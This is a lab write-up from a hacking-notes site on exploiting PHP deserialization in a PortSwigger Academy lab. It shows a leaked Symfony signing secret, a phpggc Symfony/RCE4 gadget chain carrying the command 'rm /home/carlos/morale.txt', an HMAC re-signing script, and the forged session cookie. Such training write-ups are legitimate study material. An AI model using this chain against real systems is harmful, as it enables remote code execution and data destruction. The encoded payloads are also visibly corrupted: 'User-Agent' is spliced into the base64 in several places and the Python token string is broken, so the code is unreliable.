> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/deserialization/php-deserialization-with-prebuilt-gadget-chain.md).
# PHP Deserialization with a Prebuilt Gadget Chain
PHP Deserialization with a Prebuilt Gadget Chain notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Exploiting PHP Deserialization with a Pre-built Gadget Chain
This lab uses a session mechanism based on PHP serialization using a signed **cookie**. / The application is based on a current PHP **framework**, without access to the source code. / Despite this, unsecured deserialization can be exploited via pre-existing **gadget chains**.
Objective:/ delete the `/home/carlos/morale.txt` file.
Identifier provided:
* **wiener : peter**
**Session cookie analysis**
Cookie intercepted (URL-encoded):
{% code overflow="wrap" %}
```bash
%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22631dc8aa9b149a7b6b64adfcddb5e3506eabf735%22%7D
```
{% endcode %}
After decoding:
{% code overflow="wrap" %}
```json
{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a3YyOHF3MTFhN2E3N2pyMDRsNjdsYXNrcmk2NWZxeiI7fQ==","sig_hmac_sha1":"631dc8aa9b149a7b6b64adfcddb5e3506eabf735"}
```
{% endcode %}
The cookie contains:
* `token` → Serialized PHP object encoded in Base64
* `sig_hmac_sha1` → signature HMAC-SHA1 of the token
`token` Decoding:
{% code overflow="wrap" %}
```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vkv28qw11a7a77jr04l67laskri65fqz";}
```
{% endcode %}
**Environment Identification**
From `phpinfo()`:
* **PHP 7.4**
**Secret key** exhibited:
**secret key** : ara511gik1dqity8135f7o7zu7k3yx2j
**Framework Symfony 4.3.6**
**Select the gadget chain**
List of gadgets available with `phpggc`:
```bash
./phpggc -l
```
Symfony 4 allows the use of channels **RCE**. / The selected chain:
```
Symfony/RCE4
```
**Generation of the malicious object**
Command used:
```bash
./phpggc Symfony/RCE4 exec 'rm /home/carlos/morale.txt'
```
Serialized PHP object generated:
{% code overflow="wrap" %}
```json
O:47:"Symfony/Component/Cache/Adapter/TagAwareAdapter":2:{s:57:"Symfony/Component/Cache/Adapter/TagAwareAdapterdeferred";a:1:{i:0;O:33:"Symfony/Component/Cache/CacheItem":2:{s:11:"*poolHash";i:1;s:12:"*innerItem";s:26:"rm /home/carlos/morale.txt";}}s:53:"Symfony/Component/Cache/Adapter/TagAwareAdapterpool";O:44:"Symfony/Component/Cache/Adapter/ProxyAdapter":2:{s:54:"Symfony/Component/Cache/Adapter/ProxyAdapterpoolHash";i:1;s:58:"Symfony/Component/Cache/Adapter/ProxyAdaptersetInnerItem";s:4:"exec";}}
```
{% endcode %}
Encodage Base64 :
{% code overflow="wrap" %}
```bash
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==
```
{% endcode %}
**Calculation of signature HMAC-SHA1**
Script Python used:
```python
import hmac, hashlib
secret = b"ara511gik1dqity8135f7o7zu7k3yx2j"
token = "Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YT
oxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319c
zo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxD
b21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg=
="
print(hmac.new(secret, token.encode(), hashlib.sha1).hexdigest())
```
Signature obtenue :
```
5270b838edbe7aec15da10cab298ac841d088c90
```
**Final cookie creation**
Cookie JSON :
{% code overflow="wrap" %}
```json
{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg==","sig_hmac_sha1":"5270b838edbe7aec15da10cab298ac841d088c90"}
```
{% endcode %}
After URL encoding, the cookie is injected into the HTTP request.
```bash
{"token"%3a"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIUser-Agent3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjQ6ImV4ZWMiO319Cg%3d%3d","sig_hmac_sha1"%3a"5270b838edbe7aec15da10cab298ac841d088c90"}
```
**Result**
The signed cookie is accepted by the application/ The gadget chain Symfony is executed/ The `/home/carlos/morale.txt` file is deleted
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